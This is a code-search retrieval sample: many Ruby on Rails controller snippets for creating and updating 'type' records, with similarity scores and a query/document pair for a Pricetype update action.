"def create\n @novelty_type = NoveltyType.new(novelty_type_params)\n\n respond_to do |format|\n if @novelty_type.save\n format.html { redirect_to @novelty_type, notice: 'Novelty type was successfully created.' }\n format.json { render :show, status: :created, location: @novelty_type }\n else\n format.html { render :new }\n format.json { render json: @novelty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @paper_type = PaperType.new(params[:paper_type])\n\n respond_to do |format|\n if @paper_type.save\n format.html { redirect_to @paper_type, notice: 'Paper type was successfully created.' }\n format.json { render json: @paper_type, status: :created, location: @paper_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @paper_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pcr_type = PcrType.new(pcr_type_params)\n\n respond_to do |format|\n if @pcr_type.save\n format.html { redirect_to @pcr_type, notice: \"Pcr type was successfully created.\" }\n format.json { render :show, status: :created, location: @pcr_type }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @pcr_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def type_params\n params.require(:type).permit(:common_name, :botanical_name, :info_panel, :count)\n end",
"def create\n @print_type = PrintType.new(print_type_params)\n\n respond_to do |format|\n if @print_type.save\n format.html { redirect_to @print_type, notice: 'Print type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @print_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @print_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pcr_type_params\n params.require(:pcr_type).permit(:name)\n end",
"def ptype_params\n params.require(:ptype).permit(:ptype_name)\n end",
"def create\n field_type_ids = params[:entry_type].delete(\"field_type_ids\")\n @entry_type = EntryType.new(params[:entry_type])\n @entry_type.field_type_ids = field_type_ids\n @entry_type.form_code = build_form_code(@entry_type.field_types)\n @entry_type.model_code = build_model_code(@entry_type.name, @entry_type.field_types)\n @entry_type.model = build_model_from_code(@entry_type)\n\n respond_to do |format|\n if @entry_type.save\n format.html { redirect_to @entry_type, notice: 'Entry type was successfully created.' }\n format.json { render json: @entry_type, status: :created, location: @entry_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def typeconge_params\n params.require(:typeconge).permit(:typeconge)\n end",
"def create\n @realty_type = RealtyType.new(params[:realty_type])\n\n respond_to do |format|\n if @realty_type.save\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully created.' }\n format.json { render json: @realty_type, status: :created, location: @realty_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ptype_params\n params.require(:ptype).permit(:name, :plural, :schedule_type, :opening, :closing)\n end",
"def create\n @page_type = PageType.new(params[:page_type])\n\n respond_to do |format|\n if @page_type.save\n format.html { redirect_to @page_type, notice: 'Page type was successfully created.' }\n format.json { render json: @page_type, status: :created, location: @page_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @entity_type = EntityType.new(entity_type_params)\n @entity_type.collection_id = @collection.id\n respond_to do |format|\n if @entity_type.save\n format.html { redirect_to collection_entity_types_path(@collection), notice: 'The entity type was successfully created.' }\n format.json { render :show, status: :created, location: @entity_type }\n else\n format.html { render :new }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def json_params\n params.require(:json).permit(:type, :data)\n end",
"def create\n @prodtype = Prodtype.new(prodtype_params)\n\n respond_to do |format|\n if @prodtype.save\n format.html { redirect_to prodtypes_path, notice: 'Product type was successfully created.' }\n format.json { render :show, status: :created, location: @prodtype }\n else\n format.html { render :new }\n format.json { render json: @prodtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @valid_type = ValidType.new(valid_type_params)\n @valid_type.typed = true\n\n respond_to do |format|\n if @valid_type.save\n format.html { redirect_to valid_types_path, notice: 'Entity Type was successfully created.' }\n format.json { render :show, status: :created, location: @valid_type }\n else\n format.html { render :new }\n format.js { render :new }\n format.json { render json: @valid_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def kpi_type_params\n params.require(:kpi_type).permit(:name,:code)\n end",
"def index\n @ptypes = Ptype.all\n end",
"def index\n @ptypes = Ptype.all\n end",
"def create\n\n @object_type = ObjectType.new(params[:object_type].except(:rows, :columns))\n\n if params[:object_type][:handler] == 'collection'\n @object_type.rows = params[:object_type][:rows]\n @object_type.columns = params[:object_type][:columns]\n end\n\n respond_to do |format|\n if @object_type.save\n format.html { redirect_to object_types_url, notice: \"Object type #{@object_type.name} was successfully created.\" }\n format.json { render json: @object_type, status: :created, location: @object_type }\n else\n format.html { render action: 'new', layout: 'aq2-plain' }\n format.json { render json: @object_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_break_type(body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/labor/break-types',\n 'default')\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def typeofstatus_params\n params.require(:typeofstatus).permit(:name, :priority)\n end",
"def test_type_params\n params.require(:test_type).permit(:name, :description, :data)\n end",
"def create\n @collection = current_user.collections.find(params[:collection_id])\n @entity_type = @collection.entity_types.new(params[:entity_type])\n\n respond_to do |format|\n if @entity_type.save\n format.html { redirect_to collection_entity_types_path(@collection), notice: 'Type was successfully created.' }\n format.json { render json: @entity_type, status: :created, location: @entity_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @phones_type = PhonesType.new(phones_type_params)\n\n respond_to do |format|\n if @phones_type.save\n format.html { redirect_to @phones_type, notice: 'Phones type was successfully created.' }\n format.json { render :show, status: :created, location: @phones_type }\n else\n format.html { render :new }\n format.json { render json: @phones_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @affected_type = AffectedType.new(affected_type_params)\n\n respond_to do |format|\n if @affected_type.save\n format.html { redirect_to @affected_type, notice: 'Affected type was successfully created.' }\n format.json { render :show, status: :created, location: @affected_type }\n else\n format.html { render :new }\n format.json { render json: @affected_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project_type = ProjectType.new(project_type_params)\n\n respond_to do |format|\n if @project_type.save\n format.html { redirect_to @project_type, notice: 'Project type was successfully created.' }\n format.json { render :show, status: :created, location: @project_type }\n else\n format.html { render :new }\n format.json { render json: @project_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project_type = ProjectType.new(project_type_params)\n\n respond_to do |format|\n if @project_type.save\n format.html { redirect_to @project_type, notice: 'Project type was successfully created.' }\n format.json { render :show, status: :created, location: @project_type }\n else\n format.html { render :new }\n format.json { render json: @project_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @procedure_type = ProcedureType.new(procedure_type_params)\n @documents = Document.all\n @procedure_type.name= @procedure_type.name.upcase\n respond_to do |format|\n if @procedure_type.save\n format.html { redirect_to procedure_types_path, notice: 'Tipo de tramite registrado exitosamente' }\n format.json { render :show, status: :created, location: @procedure_type }\n else\n format.html { render :new }\n format.json { render json: @procedure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_ListPlatformTypes\n\t\tcolName = 'types'\n\t\tretClass = LeanTesting::PlatformType\n\t\tresp = rcol(colName, ['_id', 'name'])\n\t\t@client.debugReturn = {'data'=> JSON.generate(resp), 'status'=> 200}\n\n\t\tcol = @client.platform.types.all\n\n\t\tassert_equal resp[colName], col.toArray\n\t\tassert_instance_of retClass, col.collection[0]\n\t\tassert_equal resp['meta']['pagination']['total'], col.total\n\t\tassert_equal resp['meta']['pagination']['total_pages'], col.totalPages\n\t\tassert_equal resp['meta']['pagination']['count'], col.count\n\tend",
"def pizza_type_params\n params.require(:pizza_type).permit(:name)\n end",
"def create\n @grouptype = Grouptype.new(grouptype_params)\n\n respond_to do |format|\n if @grouptype.save\n format.html { redirect_to @grouptype, notice: 'Grouptype was successfully created.' }\n format.json { render :show, status: :created, location: @grouptype }\n else\n format.html { render :new }\n format.json { render json: @grouptype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @method_type = MethodType.new(method_type_params)\n\n respond_to do |format|\n if @method_type.save\n format.html { redirect_to @method_type, notice: \"Method type was successfully created.\" }\n format.json { render :show, status: :created, location: @method_type }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @method_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @potion_type = PotionType.new(potion_type_params)\n\n respond_to do |format|\n if @potion_type.save\n format.html { redirect_to @potion_type, notice: 'Potion type was successfully created.' }\n format.json { render :show, status: :created, location: @potion_type }\n else\n format.html { render :new }\n format.json { render json: @potion_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @optype = Optype.new(optype_params)\n\n respond_to do |format|\n if @optype.save\n format.html { redirect_to @optype, notice: 'Optype was successfully created.' }\n format.json { render :show, status: :created, location: @optype }\n else\n format.html { render :new }\n format.json { render json: @optype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @persont_type = PersontType.new(persont_type_params)\n\n respond_to do |format|\n if @persont_type.save\n format.html { redirect_to @persont_type, notice: 'Persont type was successfully created.' }\n format.json { render :show, status: :created, location: @persont_type }\n else\n format.html { render :new }\n format.json { render json: @persont_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pre_print_type = PrePrintType.new(params[:pre_print_type])\n\n respond_to do |format|\n if @pre_print_type.save\n format.html { redirect_to @pre_print_type, notice: 'Pre print type was successfully created.' }\n format.json { render json: @pre_print_type, status: :created, location: @pre_print_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pre_print_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @company_type = CompanyType.new(company_type_params)\n\n if @company_type.save\n render json: @company_type, status: :created, location: @company_type\n else\n render json: @company_type.errors, status: :unprocessable_entity\n end\n end",
"def create\n @collection_type = CollectionType.new(params[:collection_type])\n\n respond_to do |format|\n if @collection_type.save\n format.html { redirect_to @collection_type, notice: 'Collection type was successfully created.' }\n format.json { render json: @collection_type, status: :created, location: @collection_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @collection_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def devicetype_params\n params.require(:devicetype).permit(:type)\n end",
"def create\n @types_of_apprenticeship = TypesOfApprenticeship.new(params[:types_of_apprenticeship])\n\n respond_to do |format|\n if @types_of_apprenticeship.save\n format.html { redirect_to @types_of_apprenticeship, notice: 'Types of apprenticeship was successfully created.' }\n format.json { render json: @types_of_apprenticeship, status: :created, location: @types_of_apprenticeship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @types_of_apprenticeship.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @typeofstatus = Typeofstatus.new(typeofstatus_params)\n\n respond_to do |format|\n if @typeofstatus.save\n format.html { redirect_to @typeofstatus, notice: 'Typeofstatus was successfully created.' }\n format.json { render :show, status: :created, location: @typeofstatus }\n else\n format.html { render :new }\n format.json { render json: @typeofstatus.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @trait_type = TraitType.new(trait_type_params)\n\n if @trait_type.save\n render json: @trait_type, status: :created, location: @trait_type\n else\n render json: @trait_type.errors, status: :unprocessable_entity\n end\n end",
"def create_types\n\t[Domain]\nend",
"def type_params\n params.require(:type).permit(:name, :image, :trash, :description, :image_id)\n end",
"def create_map_type(map_type_body, options = {})\n path = base_uri\n request(path, options.merge(method: :post), map_type_body).to_s\n end",
"def create\n @spec_type = SpecType.new(spec_type_params)\n\n respond_to do |format|\n if @spec_type.save\n format.html { redirect_to @spec_type, notice: 'Spec type was successfully created.' }\n format.json { render :show, status: :created, location: @spec_type }\n else\n format.html { render :new }\n format.json { render json: @spec_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def evals_types\n call_path = \"evals/types\"\n data = build_post_data(\"\")\n perform_post(build_url(call_path), data)\n end",
"def create\n @settings_type = SettingsType.new(settings_type_params)\n\n respond_to do |format|\n if @settings_type.save\n format.html { redirect_to settings_types_path, notice: 'Settings type was successfully created.' }\n format.json { render :show, status: :created, location: @settings_type }\n else\n format.html { render :new }\n format.json { render json: @settings_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def phones_type_params\n params.require(:phones_type).permit(:name)\n end",
"def create\n @competence_type = CompetenceType.new(competence_type_params)\n respond_to do |format|\n if @competence_type.save\n format.json { render :show, status: :created, object: @competence_type }\n else\n format.json { render json: @competence_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @type = Type.new(type_params)\n @sub_types = params[:subtype_attributes]\n if @type.save\n @sub_types.each do |subtype|\n @subtype = @type.subtype.new\n @subtype.name = subtype[\"name\"]\n @subtype.code = subtype[\"code\"]\n @subtype.save\n end\n flash[:notice] = 'Type was successfully created.'\n redirect_to types_path\n else\n flash[:error] = @type.errors.full_messages\n render \"new\"\n end\n end",
"def grouptype_params\n params.require(:grouptype).permit(:name)\n end",
"def call_type_params\n params.require(:call_type).permit(:id, :name)\n end",
"def create\n @specification_type = SpecificationType.new(specification_type_params)\n\n if @specification_type.save\n audit(@specification_type, current_user)\n render json: @specification_type, status: :created, serializer: Web::V1::SpecificationTypeSerializer\n else\n render json: @specification_type.errors, status: :unprocessable_entity\n end\n end",
"def create\n @intervention_type = InterventionType.new(intervention_type_params)\n\n respond_to do |format|\n if @intervention_type.save\n format.html { redirect_to intervention_types_path, notice: 'O tipo de intervenção foi criado.' }\n format.json { render :show, status: :created, location: @intervention_type }\n else\n format.html { render :new }\n format.json { render json: @intervention_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @poi_type = PoiType.new(params[:poi_type])\n\n respond_to do |format|\n if @poi_type.save\n format.html { redirect_to @poi_type, notice: 'PoiType was successfully created.' }\n format.json { render json: @poi_type, status: :created, location: @poi_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @poi_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @incident_type = IncidentType.new(incident_type_params)\n\n respond_to do |format|\n if @incident_type.save\n format.html { redirect_to admin_incident_types_path, notice: 'Incident type was successfully created.' }\n format.json { render :show, status: :created, location: @incident_type }\n else\n format.html { render :new }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @projectile_type = ProjectileType.new(projectile_type_params)\n\n respond_to do |format|\n if @projectile_type.save\n format.html { redirect_to @projectile_type, notice: 'Projectile type was successfully created.' }\n format.json { render :show, status: :created, location: @projectile_type }\n else\n format.html { render :new }\n format.json { render json: @projectile_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @providers_payment_type = Providers::PaymentType.new(providers_payment_type_params)\n\n respond_to do |format|\n if @providers_payment_type.save\n\n format.html { redirect_to providers_payment_types_path, notice: 'Payment type was successfully created.' }\n format.json { render :show, status: :created, location: @providers_payment_type }\n else\n format.html { render :new }\n format.json { render json: @providers_payment_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def as_json(options={})\n super(methods: :type)\n end",
"def project_type_params\n params.require(:project_type).permit(:typeName)\n end",
"def novelty_type_params\n params.require(:novelty_type).permit(:description)\n end",
"def create\n @instance_type = InstanceType.new(instance_type_params)\n\n respond_to do |format|\n if @instance_type.save\n format.html { redirect_to @instance_type, notice: 'Instance type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @instance_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @instance_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def point_type_params\n params.require(:point_type).permit(:name, :point_id, :icon)\n end",
"def create\n @ip_type = IpType.new(params[:ip_type])\n\n respond_to do |format|\n if @ip_type.save\n format.html { redirect_to @ip_type, :notice => 'Ip type was successfully created.' }\n format.json { render :json => @ip_type, :status => :created, :location => @ip_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @ip_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def resource_type_params\n params.require(:resource_type).permit(:name)\n end",
"def create\n @ProfileType = ProfileType.new(params[:profile_type])\n\n respond_to do |format|\n if @ProfileType.save\n format.html { redirect_to profile_types_path, notice: 'Profile Type was successfully created.' }\n format.json { render json: @ProfileType, status: :created, location: @ProfileType }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ProfileType.errors, status: :unprocessable_entity }\n end\n end\n end",
"def powder_type_params\n params.require(:powder_type).permit(:name)\n end",
"def type_name_params\n params.require(:type_name).permit(:type_id, :name)\n end",
"def create\n @poi_type = PoiType.new(params[:poi_type])\n\n respond_to do |format|\n if @poi_type.save\n format.html { redirect_to [:admin, @poi_type], notice: 'Nuevo tipo de punto de interés creado.' }\n format.json { render json: @poi_type, status: :created, location: [:admin, @poi_type] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @poi_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @issue_type = IssueType.new(issue_type_params)\n\n respond_to do |format|\n if @issue_type.save\n format.html { redirect_to @issue_type, notice: 'Issue type was successfully created.' }\n format.json { render :show, status: :created, location: @issue_type }\n else\n format.html { render :new }\n format.json { render json: @issue_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @power_rack_type = PowerRackType.new(power_rack_type_params)\n\n respond_to do |format|\n if @power_rack_type.save\n format.html { redirect_to @power_rack_type, notice: \"Power rack type was successfully created.\" }\n format.json { render :show, status: :created, location: @power_rack_type }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @power_rack_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize :resquest_type, :create?\n @resquest_type = ResquestType.new(resquest_type_params)\n\n respond_to do |format|\n if @resquest_type.save\n format.html { redirect_to @resquest_type, notice: 'Resquest type was successfully created.' }\n format.json { render :show, status: :created, location: @resquest_type }\n else\n format.html { render :new }\n format.json { render json: @resquest_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @api_v1_user_type = Api::V1::UserType.new(api_v1_user_type_params)\n\n respond_to do |format|\n if @api_v1_user_type.save\n format.html { redirect_to @api_v1_user_type, notice: 'User type was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_user_type }\n else\n format.html { render :new }\n format.json { render json: @api_v1_user_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @typeconge = Typeconge.new(typeconge_params)\n\n respond_to do |format|\n if @typeconge.save\n format.html { redirect_to @typeconge, notice: 'Typeconge was successfully created.' }\n format.json { render :show, status: :created, location: @typeconge }\n else\n format.html { render :new }\n format.json { render json: @typeconge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @task_type = TaskType.new(task_type_params)\n\n respond_to do |format|\n if @task_type.save\n format.html { redirect_to task_types_path, notice: 'Task type was successfully created.' }\n format.json { render :show, status: :created, location: @task_type }\n else\n format.html { render :new }\n format.json { render json: @task_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @instance_type = InstanceType.new(params[:instance_type])\n\n respond_to do |format|\n if @instance_type.save\n format.html { redirect_to @instance_type, notice: 'Instance type was successfully created.' }\n format.json { render json: @instance_type, status: :created, location: @instance_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @instance_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n image = {id: nil}\n if type_params[:image]\n image = Picture.create(name: type_params[:name], image: type_params[:image], description: \"Image of #{type_params[:name]} type\")\n else\n image = Picture.where(id: type_params[:image_id]).first if type_params[:image_id]\n end\n\n @type = Type.new(name: type_params[:name], description: type_params[:description], picture_id: image[:id])\n\n respond_to do |format|\n if @type.save\n format.html { redirect_to director_types_path, notice: 'Type was successfully created.' }\n format.json { render :show, status: :created, location: @type }\n else\n @pictures = Picture.where(trash: false)\n format.html { render :new }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def types\n commit('types', nil)\n end",
"def create\n @pay_type = PayType.new(pay_type_params)\n\n respond_to do |format|\n if @pay_type.save\n format.html { redirect_to @pay_type, notice: 'Pay type was successfully created.' }\n format.json { render :show, status: :created, location: @pay_type }\n else\n format.html { render :new }\n format.json { render json: @pay_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bugtype = Bugtype.new(bugtype_params)\n\n respond_to do |format|\n if @bugtype.save\n format.html { redirect_to bugtypes_path, notice: 'Bugtype was successfully created.' }\n format.json { render :index, status: :created, location: @bugtype }\n else\n format.html { render :new }\n format.json { render json: @bugtype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def type_params; end"
] |
[
"0.6667789",
"0.6441899",
"0.63712263",
"0.6289321",
"0.6289321",
"0.6245715",
"0.6245715",
"0.6212805",
"0.6212805",
"0.62044173",
"0.60714066",
"0.6068572",
"0.6062268",
"0.6045921",
"0.6008005",
"0.60065",
"0.5970621",
"0.59502786",
"0.5945157",
"0.5927338",
"0.5910287",
"0.58973277",
"0.58869606",
"0.58721894",
"0.5860903",
"0.5852141",
"0.5851",
"0.58471584",
"0.5846335",
"0.5842185",
"0.5835623",
"0.5833132",
"0.5830283",
"0.5818398",
"0.58124006",
"0.58124006",
"0.5810579",
"0.57980305",
"0.57961744",
"0.57934725",
"0.5783972",
"0.5783823",
"0.5779341",
"0.5778897",
"0.5778897",
"0.57788265",
"0.5769367",
"0.57529265",
"0.57526726",
"0.57442844",
"0.57428545",
"0.57400304",
"0.57354206",
"0.5730009",
"0.5721994",
"0.5720866",
"0.5719626",
"0.5714272",
"0.570706",
"0.5704691",
"0.57027376",
"0.5699636",
"0.5680788",
"0.5668135",
"0.56605643",
"0.56605214",
"0.5659986",
"0.5659905",
"0.565069",
"0.5649952",
"0.5646812",
"0.5645707",
"0.5638773",
"0.5631076",
"0.5622924",
"0.5621337",
"0.5617798",
"0.5613581",
"0.5607655",
"0.56062734",
"0.5604564",
"0.56028324",
"0.5600199",
"0.5598509",
"0.5594216",
"0.55890334",
"0.5586963",
"0.55855656",
"0.5583683",
"0.55796874",
"0.5578574",
"0.5576462",
"0.5573209",
"0.5569212",
"0.5562907",
"0.55619955",
"0.556199",
"0.55614626",
"0.5559449",
"0.5559249"
] |
0.60730547
|
10
|
PATCH/PUT /pricetypes/1 PATCH/PUT /pricetypes/1.json
|
def update
respond_to do |format|
if @pricetype.update(pricetype_params)
format.html { redirect_to @pricetype, notice: 'Pricetype was successfully updated.' }
format.json { render :show, status: :ok, location: @pricetype }
else
format.html { render :edit }
format.json { render json: @pricetype.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @type.update(type_params)\n end",
"def update\n respond_to do |format|\n if @spec_type.update(spec_type_params)\n format.html { redirect_to @spec_type, notice: 'Spec type was successfully updated.' }\n format.json { render :show, status: :ok, location: @spec_type }\n else\n format.html { render :edit }\n format.json { render json: @spec_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @novelty_type.update(novelty_type_params)\n format.html { redirect_to @novelty_type, notice: 'Novelty type was successfully updated.' }\n format.json { render :show, status: :ok, location: @novelty_type }\n else\n format.html { render :edit }\n format.json { render json: @novelty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def change_type\n\t\t\trender json: User.update_type_by_id(params[:id], params[:type], params[:is])\n\t\tend",
"def update\n respond_to do |format|\n if @optype.update(optype_params)\n format.html { redirect_to @optype, notice: 'Optype was successfully updated.' }\n format.json { render :show, status: :ok, location: @optype }\n else\n format.html { render :edit }\n format.json { render json: @optype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ptype.update(ptype_params)\n format.html { redirect_to @ptype, notice: 'Ptype was successfully updated.' }\n format.json { render :show, status: :ok, location: @ptype }\n else\n format.html { render :edit }\n format.json { render json: @ptype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ptype.update(ptype_params)\n format.html { redirect_to @ptype, notice: 'Ptype was successfully updated.' }\n format.json { render :show, status: :ok, location: @ptype }\n else\n format.html { render :edit }\n format.json { render json: @ptype.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n if @realty_type.update_attributes(params[:realty_type])\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def update\n respond_to do |format|\n if @affected_type.update(affected_type_params)\n format.html { redirect_to @affected_type, notice: 'Affected type was successfully updated.' }\n format.json { render :show, status: :ok, location: @affected_type }\n else\n format.html { render :edit }\n format.json { render json: @affected_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @model_type.update(model_type_params)\n format.html { redirect_to @model_type, notice: 'Model type was successfully updated.' }\n format.json { render :show, status: :ok, location: @model_type }\n else\n format.html { render :edit }\n format.json { render json: @model_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @collection_type = CollectionType.find(params[:id])\n\n respond_to do |format|\n if @collection_type.update_attributes(params[:collection_type])\n format.html { redirect_to @collection_type, notice: 'Collection type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @collection_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @paper_type = PaperType.find(params[:id])\n\n respond_to do |format|\n if @paper_type.update_attributes(params[:paper_type])\n format.html { redirect_to @paper_type, notice: 'Paper type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @paper_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @competence_type.update(competence_type_params)\n format.json { render :show, status: :ok, object: @competence_type }\n else\n format.json { render json: @competence_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @claim_type.update(claim_type_params)\n format.html { redirect_to @claim_type, notice: 'Claim type was successfully updated.' }\n format.json { render :show, status: :ok, location: @claim_type }\n else\n format.html { render :edit }\n format.json { render json: @claim_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @phones_type.update(phones_type_params)\n format.html { redirect_to @phones_type, notice: 'Phones type was successfully updated.' }\n format.json { render :show, status: :ok, location: @phones_type }\n else\n format.html { render :edit }\n format.json { render json: @phones_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n prms = @boat_type.is_modification? ? modification_params : boat_type_params\n respond_to do |format|\n if @boat_type.update(prms)\n format.html { redirect_to edit_boat_type_path(@boat_type), notice: 'Тип лодки успешно обновлён' }\n format.json { render json: @boat_type.hash_view('control'), status: :ok}\n else\n format.html { render :edit }\n format.json { render json: @boat_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @lift_type.update(lift_type_params)\n format.html {redirect_to lift_types_path, notice: 'Lift type was successfully updated.'}\n format.json {render :show, status: :ok, location: @lift_type}\n else\n format.html {render :edit}\n format.json {render json: @lift_type.errors, status: :unprocessable_entity}\n end\n end\n end",
"def update_question_type\n form_params = params.require(:form).permit(:question_id, :question_type)\n\n render json: Question.update_question_type(form_params)\n end",
"def update\n respond_to do |format|\n if @method_type.update(method_type_params)\n format.html { redirect_to @method_type, notice: \"Method type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @method_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @method_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @issue_type.update(issue_type_params)\n format.html { redirect_to @issue_type, notice: 'Issue type was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_type }\n else\n format.html { render :edit }\n format.json { render json: @issue_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @procedure_type.update(procedure_type_params)\n format.html { redirect_to @procedure_type, notice: 'Procedure type was successfully updated.' }\n format.json { render :show, status: :ok, location: @procedure_type }\n else\n format.html { render :edit }\n format.json { render json: @procedure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @specification_type = SpecificationType.find(params[:id])\n\n if @specification_type.update(specification_type_params)\n audit(@specification_type, current_user)\n render json: @specification_type, status: :created, serializer: Web::V1::SpecificationTypeSerializer\n else\n render json: @specification_type.errors, status: :unprocessable_entity\n end\n end",
"def update\n @count = @procedure_type.requirements.count\n respond_to do |format|\n if @procedure_type.update(procedure_type_params)\n format.html { redirect_to procedure_types_path, notice: 'Tipo de tramite actualizado exitosamente' }\n format.json { render :show, status: :ok, location: @procedure_type }\n else\n format.html { render :edit }\n format.json { render json: @procedure_type.errors, status: :unprocessable_entity }\n end\n end\n end",
